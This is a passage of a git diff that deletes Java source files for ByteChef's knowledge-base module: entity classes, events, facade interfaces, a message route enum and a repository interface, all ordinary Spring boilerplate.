-    private String textContent;
-
-    @CreatedDate
-    private Instant createdDate;
-
-    @CreatedBy
-    private String createdBy;
-
-    @LastModifiedDate
-    private Instant lastModifiedDate;
-
-    @LastModifiedBy
-    private String lastModifiedBy;
-
-    @Version
-    private int version;
-
-    public KnowledgeBaseDocumentChunk() {
-    }
-
-    public Long getId() {
-        return id;
-    }
-
-    public void setId(Long id) {
-        this.id = id;
-    }
-
-    public Long getKnowledgeBaseDocumentId() {
-        return knowledgeBaseDocumentId;
-    }
-
-    public void setKnowledgeBaseDocumentId(Long knowledgeBaseDocumentId) {
-        this.knowledgeBaseDocumentId = knowledgeBaseDocumentId;
-    }
-
-    public String getVectorStoreId() {
-        return vectorStoreId;
-    }
-
-    public void setVectorStoreId(String vectorStoreId) {
-        this.vectorStoreId = vectorStoreId;
-    }
-
-    public FileEntry getContent() {
-        return content;
-    }
-
-    public void setContent(FileEntry content) {
-        this.content = content;
-    }
-
-    public String getTextContent() {
-        return textContent;
-    }
-
-    public void setTextContent(String textContent) {
-        this.textContent = textContent;
-    }
-
-    public Map<String, ?> getMetadata() {
-        return metadata;
-    }
-
-    public void setMetadata(Map<String, ?> metadata) {
-        this.metadata = Collections.unmodifiableMap(metadata);
-    }
-
-    public Float getScore() {
-        return score;
-    }
-
-    public void setScore(Float score) {
-        this.score = score;
-    }
-
-    public Instant getCreatedDate() {
-        return createdDate;
-    }
-
-    public void setCreatedDate(Instant createdDate) {
-        this.createdDate = createdDate;
-    }
-
-    public String getCreatedBy() {
-        return createdBy;
-    }
-
-    public void setCreatedBy(String createdBy) {
-        this.createdBy = createdBy;
-    }
-
-    public Instant getLastModifiedDate() {
-        return lastModifiedDate;
-    }
-
-    public void setLastModifiedDate(Instant lastModifiedDate) {
-        this.lastModifiedDate = lastModifiedDate;
-    }
-
-    public String getLastModifiedBy() {
-        return lastModifiedBy;
-    }
-
-    public void setLastModifiedBy(String lastModifiedBy) {
-        this.lastModifiedBy = lastModifiedBy;
-    }
-
-    public int getVersion() {
-        return version;
-    }
-
-    public void setVersion(int version) {
-        this.version = version;
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) {
-            return true;
-        }
-
-        if (!(o instanceof KnowledgeBaseDocumentChunk that)) {
-            return false;
-        }
-
-        return Objects.equals(id, that.id);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(id);
-    }
-
-    @Override
-    public String toString() {
-        return "KnowledgeBaseDocumentChunk{" +
-            "id=" + id +
-            ", knowledgeBaseDocumentId=" + knowledgeBaseDocumentId +
-            ", vectorStoreId='" + vectorStoreId + '\'' +
-            ", content=" + content +
-            ", textContent='" + textContent + '\'' +
-            ", metadata=" + metadata +
-            ", score=" + score +
-            ", createdDate=" + createdDate +
-            ", createdBy='" + createdBy + '\'' +
-            ", lastModifiedDate=" + lastModifiedDate +
-            ", lastModifiedBy='" + lastModifiedBy + '\'' +
-            ", version=" + version +
-            '}';
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseDocumentTag.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseDocumentTag.java
deleted file mode 100644
index 73aff9c27bb..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseDocumentTag.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.domain;
-
-import com.bytechef.platform.tag.domain.Tag;
-import java.util.Objects;
-import org.springframework.data.jdbc.core.mapping.AggregateReference;
-import org.springframework.data.relational.core.mapping.Column;
-import org.springframework.data.relational.core.mapping.Table;
-
-/**
- * @author Ivica Cardic
- */
-@Table("knowledge_base_document_tag")
-public final class KnowledgeBaseDocumentTag {
-
-    @Column("tag_id")
-    private AggregateReference<Tag, Long> tagId;
-
-    public KnowledgeBaseDocumentTag() {
-    }
-
-    public KnowledgeBaseDocumentTag(Long tagId) {
-        this.tagId = tagId == null ? null : AggregateReference.to(tagId);
-    }
-
-    public Long getTagId() {
-        return tagId == null ? null : tagId.getId();
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) {
-            return true;
-        }
-
-        if (!(o instanceof KnowledgeBaseDocumentTag that)) {
-            return false;
-        }
-
-        return Objects.equals(tagId, that.tagId);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(tagId);
-    }
-
-    @Override
-    public String toString() {
-        return "KnowledgeBaseDocumentTag{" +
-            "tagId=" + tagId +
-            '}';
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseTag.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseTag.java
deleted file mode 100644
index 4eb90d97f45..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseTag.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.domain;
-
-import com.bytechef.platform.tag.domain.Tag;
-import java.util.Objects;
-import org.springframework.data.jdbc.core.mapping.AggregateReference;
-import org.springframework.data.relational.core.mapping.Column;
-import org.springframework.data.relational.core.mapping.Table;
-
-/**
- * @author Ivica Cardic
- */
-@Table("knowledge_base_tag")
-public final class KnowledgeBaseTag {
-
-    @Column("tag_id")
-    private AggregateReference<Tag, Long> tagId;
-
-    public KnowledgeBaseTag() {
-    }
-
-    public KnowledgeBaseTag(Long tagId) {
-        this.tagId = tagId == null ? null : AggregateReference.to(tagId);
-    }
-
-    public Long getTagId() {
-        return tagId == null ? null : tagId.getId();
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) {
-            return true;
-        }
-
-        if (!(o instanceof KnowledgeBaseTag that)) {
-            return false;
-        }
-
-        return Objects.equals(tagId, that.tagId);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(tagId);
-    }
-
-    @Override
-    public String toString() {
-        return "KnowledgeBaseTag{" +
-            "tagId=" + tagId +
-            '}';
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/WorkspaceKnowledgeBase.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/WorkspaceKnowledgeBase.java
deleted file mode 100644
index b76953b83ac..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/WorkspaceKnowledgeBase.java
+++ /dev/null
@@ -1,139 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.domain;
-
-import java.time.Instant;
-import java.util.Objects;
-import org.springframework.data.annotation.CreatedBy;
-import org.springframework.data.annotation.CreatedDate;
-import org.springframework.data.annotation.Id;
-import org.springframework.data.annotation.LastModifiedBy;
-import org.springframework.data.annotation.LastModifiedDate;
-import org.springframework.data.annotation.Version;
-import org.springframework.data.relational.core.mapping.Column;
-import org.springframework.data.relational.core.mapping.Table;
-
-/**
- * Domain class representing the relationship between a workspace and a knowledge base.
- *
- * @author Ivica Cardic
- */
-@Table("workspace_knowledge_base")
-public class WorkspaceKnowledgeBase {
-
-    @Column("knowledge_base_id")
-    private Long knowledgeBaseId;
-
-    @CreatedBy
-    @Column("created_by")
-    private String createdBy;
-
-    @Column("created_date")
-    @CreatedDate
-    private Instant createdDate;
-
-    @Id
-    private Long id;
-
-    @Column("last_modified_by")
-    @LastModifiedBy
-    private String lastModifiedBy;
-
-    @Column("last_modified_date")
-    @LastModifiedDate
-    private Instant lastModifiedDate;
-
-    @Column("workspace_id")
-    private Long workspaceId;
-
-    @Version
-    private int version;
-
-    private WorkspaceKnowledgeBase() {
-    }
-
-    public WorkspaceKnowledgeBase(Long knowledgeBaseId, Long workspaceId) {
-        this.knowledgeBaseId = knowledgeBaseId;
-        this.workspaceId = workspaceId;
-    }
-
-    public Long getKnowledgeBaseId() {
-        return knowledgeBaseId;
-    }
-
-    public String getCreatedBy() {
-        return createdBy;
-    }
-
-    public Instant getCreatedDate() {
-        return createdDate;
-    }
-
-    public Long getId() {
-        return id;
-    }
-
-    public String getLastModifiedBy() {
-        return lastModifiedBy;
-    }
-
-    public Instant getLastModifiedDate() {
-        return lastModifiedDate;
-    }
-
-    public int getVersion() {
-        return version;
-    }
-
-    public Long getWorkspaceId() {
-        return workspaceId;
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) {
-            return true;
-        }
-
-        if (o == null || getClass() != o.getClass()) {
-            return false;
-        }
-
-        WorkspaceKnowledgeBase workspaceKnowledgeBase = (WorkspaceKnowledgeBase) o;
-
-        return Objects.equals(id, workspaceKnowledgeBase.id);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(id);
-    }
-
-    @Override
-    public String toString() {
-        return "WorkspaceKnowledgeBase{" +
-            "id=" + id +
-            ", knowledgeBaseId=" + knowledgeBaseId +
-            ", workspaceId=" + workspaceId +
-            ", createdBy='" + createdBy + '\'' +
-            ", createdDate=" + createdDate +
-            ", lastModifiedBy='" + lastModifiedBy + '\'' +
-            ", lastModifiedDate=" + lastModifiedDate +
-            ", version=" + version +
-            '}';
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/dto/DocumentStatusUpdate.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/dto/DocumentStatusUpdate.java
deleted file mode 100644
index 953f6fa6ce1..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/dto/DocumentStatusUpdate.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.dto;
-
-/**
- * @author Ivica Cardic
- */
-public record DocumentStatusUpdate(
-    Long documentId,
-    int status,
-    Long timestamp,
-    String message) {
-
-    public static DocumentStatusUpdate of(Long documentId, int status, String message) {
-        return new DocumentStatusUpdate(
-            documentId,
-            status,
-            System.currentTimeMillis(),
-            message);
-    }
-
-    public static DocumentStatusUpdate of(Long documentId, int status) {
-        return of(documentId, status, null);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/event/KnowledgeBaseDocumentChunkEvent.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/event/KnowledgeBaseDocumentChunkEvent.java
deleted file mode 100644
index a6598a58938..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/event/KnowledgeBaseDocumentChunkEvent.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.event;
-
-import com.bytechef.automation.knowledgebase.message.route.KnowledgeBaseMessageRoute;
-import com.bytechef.message.event.MessageEvent;
-import java.time.Instant;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * Event triggered when a knowledge base document chunk is updated.
- *
- * @author Ivica Cardic
- */
-public class KnowledgeBaseDocumentChunkEvent implements MessageEvent<KnowledgeBaseMessageRoute> {
-
-    protected Instant createDate;
-    protected Long chunkId;
-    protected String content;
-    protected Map<String, Object> metadata = new HashMap<>();
-    protected KnowledgeBaseMessageRoute route;
-
-    public KnowledgeBaseDocumentChunkEvent() {
-    }
-
-    public KnowledgeBaseDocumentChunkEvent(Long chunkId, String content) {
-        this.createDate = Instant.now();
-        this.chunkId = chunkId;
-        this.content = content;
-        this.route = KnowledgeBaseMessageRoute.DOCUMENT_CHUNK_UPDATE_EVENTS;
-    }
-
-    @Override
-    public Instant getCreateDate() {
-        return createDate;
-    }
-
-    public Long getChunkId() {
-        return chunkId;
-    }
-
-    public String getContent() {
-        return content;
-    }
-
-    public Map<String, Object> getMetadata() {
-        return Collections.unmodifiableMap(metadata);
-    }
-
-    @Override
-    public Object getMetadata(String name) {
-        return metadata.get(name);
-    }
-
-    @Override
-    public KnowledgeBaseMessageRoute getRoute() {
-        return route;
-    }
-
-    @Override
-    public void putMetadata(String name, Object value) {
-        metadata.put(name, value);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/event/KnowledgeBaseDocumentEvent.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/event/KnowledgeBaseDocumentEvent.java
deleted file mode 100644
index 21615fd1fc1..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/event/KnowledgeBaseDocumentEvent.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.event;
-
-import com.bytechef.automation.knowledgebase.message.route.KnowledgeBaseMessageRoute;
-import com.bytechef.message.event.MessageEvent;
-import java.time.Instant;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * @author Ivica Cardic
- */
-public class KnowledgeBaseDocumentEvent implements MessageEvent<KnowledgeBaseMessageRoute> {
-
-    protected Instant createDate;
-    protected Long documentId;
-    protected Map<String, Object> metadata = new HashMap<>();
-    protected KnowledgeBaseMessageRoute route;
-
-    public KnowledgeBaseDocumentEvent() {
-    }
-
-    public KnowledgeBaseDocumentEvent(Long documentId) {
-        this.createDate = Instant.now();
-        this.documentId = documentId;
-        this.route = KnowledgeBaseMessageRoute.DOCUMENT_PROCESS_EVENTS;
-    }
-
-    @Override
-    public Instant getCreateDate() {
-        return createDate;
-    }
-
-    public Long getDocumentId() {
-        return documentId;
-    }
-
-    public Map<String, Object> getMetadata() {
-        return Collections.unmodifiableMap(metadata);
-    }
-
-    @Override
-    public Object getMetadata(String name) {
-        return metadata.get(name);
-    }
-
-    @Override
-    public KnowledgeBaseMessageRoute getRoute() {
-        return route;
-    }
-
-    @Override
-    public void putMetadata(String name, Object value) {
-        metadata.put(name, value);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentChunkFacade.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentChunkFacade.java
deleted file mode 100644
index 642fd445032..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentChunkFacade.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import java.util.List;
-
-/**
- * Facade for managing knowledge base document chunks.
- *
- * @author Ivica Cardic
- */
-public interface KnowledgeBaseDocumentChunkFacade {
-
-    /**
-     * Gets all chunks for a document with content populated from the vector store.
-     *
-     * @param knowledgeBaseDocumentId the knowledge base document ID
-     * @return list of chunks with content
-     */
-    List<KnowledgeBaseDocumentChunk> getKnowledgeBaseDocumentChunksByDocumentId(long knowledgeBaseDocumentId);
-
-    /**
-     * Updates a knowledge base document chunk, recomputing embeddings if content changed.
-     *
-     * @param id      the ID of the chunk to update
-     * @param content the new content
-     * @return the updated chunk
-     */
-    KnowledgeBaseDocumentChunk updateKnowledgeBaseDocumentChunk(long id, String content);
-
-    /**
-     * Deletes a knowledge base document chunk.
-     *
-     * @param id the ID of the chunk to delete
-     */
-    void deleteKnowledgeBaseDocumentChunk(long id);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentFacade.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentFacade.java
deleted file mode 100644
index 89a8ffbf88b..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentFacade.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import java.io.InputStream;
-
-/**
- * Facade for managing knowledge base documents including file storage operations.
- *
- * @author Ivica Cardic
- */
-public interface KnowledgeBaseDocumentFacade {
-
-    /**
-     * Creates a new knowledge base document by storing the file and creating the document record.
-     *
-     * @param knowledgeBaseId the ID of the knowledge base to add the document to
-     * @param filename        the name of the file
-     * @param contentType     the content type of the file
-     * @param inputStream     the input stream of the file content
-     * @return the created knowledge base document
-     */
-    KnowledgeBaseDocument createKnowledgeBaseDocument(
-        Long knowledgeBaseId, String filename, String contentType, InputStream inputStream);
-
-    /**
-     * Deletes a knowledge base document including its stored file.
-     *
-     * @param id the ID of the document to delete
-     */
-    void deleteKnowledgeBaseDocument(Long id);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseFacade.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseFacade.java
deleted file mode 100644
index adf01e810a9..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseFacade.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import java.util.List;
-
-/**
- * Facade for knowledge base search operations.
- *
- * @author Ivica Cardic
- */
-public interface KnowledgeBaseFacade {
-
-    /**
-     * Searches the knowledge base using a query string.
-     *
-     * @param knowledgeBaseId the ID of the knowledge base to search
-     * @param query           the search query
-     * @param metadataFilters optional metadata filters
-     * @return list of matching chunks
-     */
-    List<KnowledgeBaseDocumentChunk> searchKnowledgeBase(Long knowledgeBaseId, String query, String metadataFilters);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/WorkspaceKnowledgeBaseFacade.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/WorkspaceKnowledgeBaseFacade.java
deleted file mode 100644
index 271b9e06181..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/facade/WorkspaceKnowledgeBaseFacade.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import java.util.List;
-
-/**
- * Defines the interface for managing and retrieving knowledge bases associated with specific workspaces. This facade
- * abstracts the details of underlying services and provides a streamlined way to access knowledge base information tied
- * to a workspace.
- *
- * @author Ivica Cardic
- */
-public interface WorkspaceKnowledgeBaseFacade {
-
-    /**
-     * Retrieves a list of knowledge bases associated with the specified workspace.
-     *
-     * @param workspaceId the unique identifier of the workspace for which the knowledge bases are to be retrieved
-     * @return a list of {@code KnowledgeBase} objects associated with the workspace
-     */
-    List<KnowledgeBase> getWorkspaceKnowledgeBases(Long workspaceId);
-
-    /**
-     * Creates a new knowledge base and assigns it to the specified workspace.
-     *
-     * @param knowledgeBase the knowledge base to create
-     * @param workspaceId   the workspace ID to assign the knowledge base to
-     * @return the created knowledge base
-     */
-    KnowledgeBase createWorkspaceKnowledgeBase(KnowledgeBase knowledgeBase, Long workspaceId);
-
-    /**
-     * Deletes a knowledge base and removes it from all workspaces.
-     *
-     * @param knowledgeBaseId the ID of the knowledge base to delete
-     */
-    void deleteWorkspaceKnowledgeBase(Long knowledgeBaseId);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/message/route/KnowledgeBaseMessageRoute.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/message/route/KnowledgeBaseMessageRoute.java
deleted file mode 100644
index 60da564e0d1..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/message/route/KnowledgeBaseMessageRoute.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.message.route;
-
-import com.bytechef.message.route.MessageRoute;
-
-/**
- * @author Ivica Cardic
- */
-public enum KnowledgeBaseMessageRoute implements MessageRoute {
-
-    DOCUMENT_PROCESS_EVENTS(MessageRoute.Exchange.MESSAGE, "knowledgeBase.document_process_events"),
-    DOCUMENT_CHUNK_UPDATE_EVENTS(MessageRoute.Exchange.MESSAGE, "knowledgeBase.document_chunk_update_events");
-
-    private MessageRoute.Exchange exchange;
-    private String routeName;
-
-    KnowledgeBaseMessageRoute() {
-    }
-
-    KnowledgeBaseMessageRoute(MessageRoute.Exchange exchange, String routeName) {
-        this.exchange = exchange;
-        this.routeName = routeName;
-    }
-
-    @Override
-    public MessageRoute.Exchange getExchange() {
-        return exchange;
-    }
-
-    @Override
-    public String getName() {
-        return routeName;
-    }
-
-    @Override
-    public String toString() {
-        return "KnowledgeBaseMessageRoute{" +
-            "exchange=" + exchange +
-            ", routeName='" + routeName + '\'' +
-            "} ";
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/repository/WorkspaceKnowledgeBaseRepository.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/repository/WorkspaceKnowledgeBaseRepository.java
deleted file mode 100644
index 90f2eb56459..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/repository/WorkspaceKnowledgeBaseRepository.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.repository;
-
-import com.bytechef.automation.knowledgebase.domain.WorkspaceKnowledgeBase;
-import java.util.List;
-import org.springframework.data.repository.ListCrudRepository;
-
-/**
- * Repository interface for managing {@link WorkspaceKnowledgeBase} entities.
- *
- * @author Ivica Cardic
- */
-public interface WorkspaceKnowledgeBaseRepository extends ListCrudRepository<WorkspaceKnowledgeBase, Long> {
-
-    /**
-     * Find all workspace knowledge base relationships by workspace ID.
-     *
-     * @param workspaceId the workspace ID
-     * @return list of workspace knowledge base relationships
-     */
-    List<WorkspaceKnowledgeBase> findAllByWorkspaceId(Long workspaceId);
-
-    /**
-     * Find all workspace knowledge base relationships by knowledge base ID.
-     *
-     * @param knowledgeBaseId the knowledge base ID
-     * @return list of workspace knowledge base relationships
-     */
-    List<WorkspaceKnowledgeBase> findByKnowledgeBaseId(Long knowledgeBaseId);
-
-    /**
-     * Find workspace knowledge base relationship by workspace ID and knowledge base ID.
-     *
-     * @param workspaceId     the workspace ID
-     * @param knowledgeBaseId the knowledge base ID
-     * @return workspace knowledge base relationship if found
-     */
-    WorkspaceKnowledgeBase findByWorkspaceIdAndKnowledgeBaseId(Long workspaceId, Long knowledgeBaseId);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentChunkService.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentChunkService.java
deleted file mode 100644
index 9ce0a117bd9..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentChunkService.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
